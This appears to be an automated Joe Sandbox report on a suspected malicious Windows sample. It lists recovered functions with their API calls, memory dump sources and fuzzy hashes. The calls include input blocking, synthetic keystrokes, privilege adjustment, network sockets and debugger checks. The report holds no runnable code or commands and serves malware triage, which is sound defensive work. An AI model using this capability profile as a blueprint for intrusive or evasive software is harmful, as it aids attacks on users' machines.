Opcode Fuzzy Hash: f415bb93fcb4581b57a749ee3fc77514e9fdc0e8fbaee4302da93e5dc58c1eff
Instruction Fuzzy Hash: 76419071A00219AFDF15DF65D889AEE7BB8FF05300F64405BE905A6291EB349E84CF68

Function 003C997D Relevance: 7.9, APIs: 5, Instructions: 375COMMON

Download Yara Rule

APIs

Part of subcall function 003C9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 003C9BB2

DefDlgProcW.USER32(?,?,?,?,?), ref: 003C9A4E
GetSysColor.USER32(0000000F), ref: 003C9B23
SetBkColor.GDI32(?,00000000), ref: 003C9B36

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Color$LongProcWindow
String ID:
API String ID: 3131106179-0
Opcode ID: 01e0c2642b8196bf0191c12248fe3cd6277f8599e8a7c477b3b8cd3455c00a69
Instruction ID: 44fa50d054867feeb716f7e8bc92c3aea30acceac76bf2db9b5d4e7aaeded010
Opcode Fuzzy Hash: 01e0c2642b8196bf0191c12248fe3cd6277f8599e8a7c477b3b8cd3455c00a69
Instruction Fuzzy Hash: 7FA12771508404BEE726AA2D8C8CF7F365DDB42354B17452FF002E6AD1CA39AD01D37A

Function 00431806 Relevance: 7.7, APIs: 5, Instructions: 153networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0043304E: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 0043307A
Part of subcall function 0043304E: _wcslen.LIBCMT ref: 0043309B

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 0043185D
WSAGetLastError.WSOCK32 ref: 00431884
bind.WSOCK32(00000000,?,00000010), ref: 004318DB
WSAGetLastError.WSOCK32 ref: 004318E6
closesocket.WSOCK32(00000000), ref: 00431915

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ErrorLast$_wcslenbindclosesocketinet_addrsocket
String ID:
API String ID: 1601658205-0
Opcode ID: 1944a2be2b193905ad380bf70f77c662b96ae48561ded3af2d7d1f764af7bd5b
Instruction ID: 7db8ed3eb1b43f95b32ae4bc613a23a23ba4c37fa7bf79fe07365d1aa584a697
Opcode Fuzzy Hash: 1944a2be2b193905ad380bf70f77c662b96ae48561ded3af2d7d1f764af7bd5b
Instruction Fuzzy Hash: EF51C375A002009FD725AF24C886F6AB7E59B49718F08809DFA059F3D3C775AD418BA5

Function 00441C41 Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 00441CC0
IsWindowEnabled.USER32 ref: 00441CCE
GetForegroundWindow.USER32(?,?,00000001,?), ref: 00441CDB
IsIconic.USER32 ref: 00441CE9
IsZoomed.USER32 ref: 00441CF7

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: cab4e6c305009820ff916c61d1986b16bf1ce2385189cee071661279a2643ae8
Instruction ID: 226722e50d0a009361bb5904c82e422b0f60a869cbe6c54266e57d1d47956d98
Opcode Fuzzy Hash: cab4e6c305009820ff916c61d1986b16bf1ce2385189cee071661279a2643ae8
Instruction Fuzzy Hash: 7F21B4317412115FF7208F1ADCC4B6B7BA5AF95315B19806AE8468B361C775EC82CB98

Function 0041AA57 Relevance: 6.1, APIs: 4, Instructions: 107keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000001,00000040,00000000), ref: 0041AAAC
SetKeyboardState.USER32(00000080), ref: 0041AAC8
PostMessageW.USER32(?,00000102,00000001,00000001), ref: 0041AB36
SendInput.USER32(00000001,?,0000001C,00000001,00000040,00000000), ref: 0041AB88

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: b98e5963559b28cdf710d178ae8fe2fe8b33ff60f9dfd0c04349571e3a18cb58
Instruction ID: 958ec7ef0044ba9c65ee72b058832ee9be307cd9fb63d7087a20d28be45e48ae
Opcode Fuzzy Hash: b98e5963559b28cdf710d178ae8fe2fe8b33ff60f9dfd0c04349571e3a18cb58
Instruction Fuzzy Hash: F8312970A86288AEEB30CB65CC05BFB77A6AF45310F04421BF281522D1D37DA9E1C75B

Function 0042CE44 Relevance: 6.1, APIs: 4, Instructions: 75filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,00000400,?), ref: 0042CE89
GetLastError.KERNEL32(?,00000000), ref: 0042CEEA
SetEvent.KERNEL32(?,?,00000000), ref: 0042CEFE

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ErrorEventFileInternetLastRead
String ID:
API String ID: 234945975-0
Opcode ID: 387f6ba7380add16c9ac24bdc8d2188187e57f9d1439611398599f7df66a00fc
Instruction ID: 2621821571c5a0eb892a013167067bf35035ed9dc420d5d1674c39de42e44768
Opcode Fuzzy Hash: 387f6ba7380add16c9ac24bdc8d2188187e57f9d1439611398599f7df66a00fc
Instruction Fuzzy Hash: 4C21E0716007159BD720DFA5E984BAB77F8EB00318F51442FE64692291E778EE04CB58

Function 00425C97 Relevance: 4.6, APIs: 3, Instructions: 138fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00425CC1
FindNextFileW.KERNEL32(00000000,?), ref: 00425D17
FindClose.KERNEL32(?), ref: 00425D5F

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: 6e428de42818656c8fab0226a2ddea563fc41677ac837f58dfbda8c21d49c215
Instruction ID: aad2201b8baff7472db2291394a198d7ef49398ec59c9de567a7e9a6224ab29e
Opcode Fuzzy Hash: 6e428de42818656c8fab0226a2ddea563fc41677ac837f58dfbda8c21d49c215
Instruction Fuzzy Hash: 7C519835704A019FC714CF28D494A9AB7E4FF4A314F54855EEA5A8B3A2CB34EC05CB95

Function 003E2622 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 003E271A
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 003E2724
UnhandledExceptionFilter.KERNEL32(?), ref: 003E2731

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: fb468ec9c9a9de9b72ef51add64400d8b434c3f585dd8b0c4af80a4287488427
Instruction ID: f37996db0eca6f22ebde675baae135f2bbf4c3e1b6a28a89e71091dd54e2b402
Opcode Fuzzy Hash: fb468ec9c9a9de9b72ef51add64400d8b434c3f585dd8b0c4af80a4287488427
Instruction Fuzzy Hash: C131B5759112289BCB22DF65DC8979DB7B8BF08710F5042EAE81CA7261E7709F818F45

Function 004251CD Relevance: 4.6, APIs: 3, Instructions: 76COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 004251DA
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 00425238
SetErrorMode.KERNEL32(00000000), ref: 004252A1

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: 93d91270bef7e043cc17b384e0ad401fa7be7d6b07ba3081777eb5bb033284dd
Instruction ID: 918472a40104f62bbf94d31023e04143bf8196f4814b7322b039124cd531ddd4
Opcode Fuzzy Hash: 93d91270bef7e043cc17b384e0ad401fa7be7d6b07ba3081777eb5bb033284dd
Instruction Fuzzy Hash: 15317F75A00518DFDB00DF54D8C4EADBBB4FF49318F588099E9059B392DB35E845CB64

Function 004116C3 Relevance: 4.6, APIs: 3, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 003CFDDB: __CxxThrowException@8.LIBVCRUNTIME ref: 003D0668
Part of subcall function 003CFDDB: __CxxThrowException@8.LIBVCRUNTIME ref: 003D0685

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0041170D
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 0041173A
GetLastError.KERNEL32 ref: 0041174A

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Exception@8Throw$AdjustErrorLastLookupPrivilegePrivilegesTokenValue
String ID:
API String ID: 577356006-0
Opcode ID: 7712a60967392e829c2417c6352f1ae934dbd0ff31cfa04814c9f590839a2017
Instruction ID: 7c7074616bcf81ae5043a880052a6c54e4bbcc1acc622a1374834b413674851f
Opcode Fuzzy Hash: 7712a60967392e829c2417c6352f1ae934dbd0ff31cfa04814c9f590839a2017
Instruction Fuzzy Hash: 0E11CEB2400304AFD718AF54DCCAEABB7B9EF04714B24852EE05697291EB70BC818B64

Function 0041D5EB Relevance: 4.6, APIs: 3, Instructions: 58fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 0041D608
DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,00000028,?,00000000), ref: 0041D645
CloseHandle.KERNEL32(?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 0041D650

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: 215bce6efab622cd31607deee73d497949dd50928f2770d41e824e8ac4f7644d
Instruction ID: 809e17b7a7c2a585db22c5f2ce7c27916d9e24222f47ce60b785c84ffc5b7675
Opcode Fuzzy Hash: 215bce6efab622cd31607deee73d497949dd50928f2770d41e824e8ac4f7644d
Instruction Fuzzy Hash: 0E1182B5E01228BFDB108F94DC45FEFBBBCEB45B50F104122F904E7290C2705A018BA5

Function 00411663 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 0041168C
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 004116A1
FreeSid.ADVAPI32(?), ref: 004116B1

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 04f1f4fcc5b202044781c401a4edbfc8b7f7a5199a9aa8e777ab426f82c4e652
Instruction ID: 129a3d9ed843246a94494103c74f747428fef0d2a03c670ccbed161c2a126615
Opcode Fuzzy Hash: 04f1f4fcc5b202044781c401a4edbfc8b7f7a5199a9aa8e777ab426f82c4e652
Instruction Fuzzy Hash: 3BF04475A41308FBDB00CFE08C89EAEBBBCEB08200F004861E500E2180E334AA448A58

Function 003EC2A2 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

/, xrefs: 003EC36C

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID:
String ID: /
API String ID: 0-2043925204
Opcode ID: 2327700dcca0d4a54855418726fb6f9b0aa5d1230df987ce2c4f11d7909c8bcf
Instruction ID: f29254b5250350d9074986bb1b391d9bbb5cc446fae3720c2b9adf3f0abdac24
Opcode Fuzzy Hash: 2327700dcca0d4a54855418726fb6f9b0aa5d1230df987ce2c4f11d7909c8bcf
Instruction Fuzzy Hash: 50412876500269ABCB219FBADC89DBF7778EB84314F104769F915DB2C0E6709D828B50

Function 0040D27A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 0040D28C

Strings

X64, xrefs: 0040D2A8

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: NameUser
String ID: X64
API String ID: 2645101109-893830106
Opcode ID: 31f8b799ec0fc15876545c27a060af284dd06cf6313867375b784b75d5b06693
Instruction ID: f564cf449ce8760f113ca3a3326043111e8d0079c2f6950c52e135dfd9f2c3da
Opcode Fuzzy Hash: 31f8b799ec0fc15876545c27a060af284dd06cf6313867375b784b75d5b06693
Instruction Fuzzy Hash: 76D0C9B480212DEBCB90CB90DCC8DD9B37CBB04305F1001A6F106E2040D73495498F10

Function 004268EE Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00426918
FindClose.KERNEL32(00000000), ref: 00426961

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 2227bcd7d299694d6fd6424d0f593410623eb45853decf9d7717c9ed9072b05c
Instruction ID: ebaf137c5975cfee39038b88a8219126cd5a951e0aa72a55859106e8701618fe
Opcode Fuzzy Hash: 2227bcd7d299694d6fd6424d0f593410623eb45853decf9d7717c9ed9072b05c
Instruction Fuzzy Hash: D411D0756042109FC710CF29D484A26BBE1FF85328F45C6AAF5698F7A2CB74EC45CB91

Function 004237B5 Relevance: 3.0, APIs: 2, Instructions: 33windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,?,?,?,00434891,?,?,00000035,?), ref: 004237E4
FormatMessageW.KERNEL32(00001000,00000000,?,00000000,?,00000FFF,00000000,?,?,?,00434891,?,?,00000035,?), ref: 004237F4

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 1e0b71be4ad420a95eb8657b8a5dd6374f4b60e67eb625277388fd393c8307da
Instruction ID: 4f7d2c5e150c7d149050753a5c908753ca8d7a2418d43570c8aaa6a16f3d892e
Opcode Fuzzy Hash: 1e0b71be4ad420a95eb8657b8a5dd6374f4b60e67eb625277388fd393c8307da
Instruction Fuzzy Hash: 64F0EC747053286BDB5017655C4DFEB7A6DEFC5761F000276F605D2291D9605904C6B4

Function 0041B226 Relevance: 3.0, APIs: 2, Instructions: 29keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 0041B25D
keybd_event.USER32(?,75A8C0D0,?,00000000), ref: 0041B270

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: InputSendkeybd_event
String ID:
API String ID: 3536248340-0
Opcode ID: 2f077e0e39d018062a8adcc9392e0eb43bf15182594bf92684c9f337e6ca8a52
Instruction ID: c5cac43685ed8e9fea23cdfd2924b9b138df958d48de3582f0a36ebc9a55e472
Opcode Fuzzy Hash: 2f077e0e39d018062a8adcc9392e0eb43bf15182594bf92684c9f337e6ca8a52
Instruction Fuzzy Hash: 78F06D7480424EABDB058FA0C805BEE7BB0FF04305F04805AF951A5191C37982059F98

Function 004110BF Relevance: 3.0, APIs: 2, Instructions: 24COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,004111FC), ref: 004110D4
CloseHandle.KERNEL32(?,?,004111FC), ref: 004110E9

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: 3fff7dfcb165189447b12244b957e73835a0acc8da9bf46d19eff216d849cd4e
Instruction ID: 0c0a114aecde7a6e5f3f49763501ce8714f259c931c55e4869997558e0259264
Opcode Fuzzy Hash: 3fff7dfcb165189447b12244b957e73835a0acc8da9bf46d19eff216d849cd4e
Instruction Fuzzy Hash: F2E04F32005610AEE7262B61FC09F737BA9EB04310B14882EF5A6844B1DB626C90DB54

Function 0042EAA2 Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 0042EABD

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: 212f8158b108b3f9dc2968ef41b7e2ad052029a90ffedcddeefc4d284f05a4e8
Instruction ID: 135e910c38c499c12b4a645ca221d2f805d36a6bda12c9a5dde523ff19e7f625
Opcode Fuzzy Hash: 212f8158b108b3f9dc2968ef41b7e2ad052029a90ffedcddeefc4d284f05a4e8
Instruction Fuzzy Hash: 74E09A312002109FC310EF5AE804E9AF7E8AFA9760F00802AFD0ACB350CAB0A8408B91

Function 003D09D5 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000209E1,003D03EE), ref: 003D09DA

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
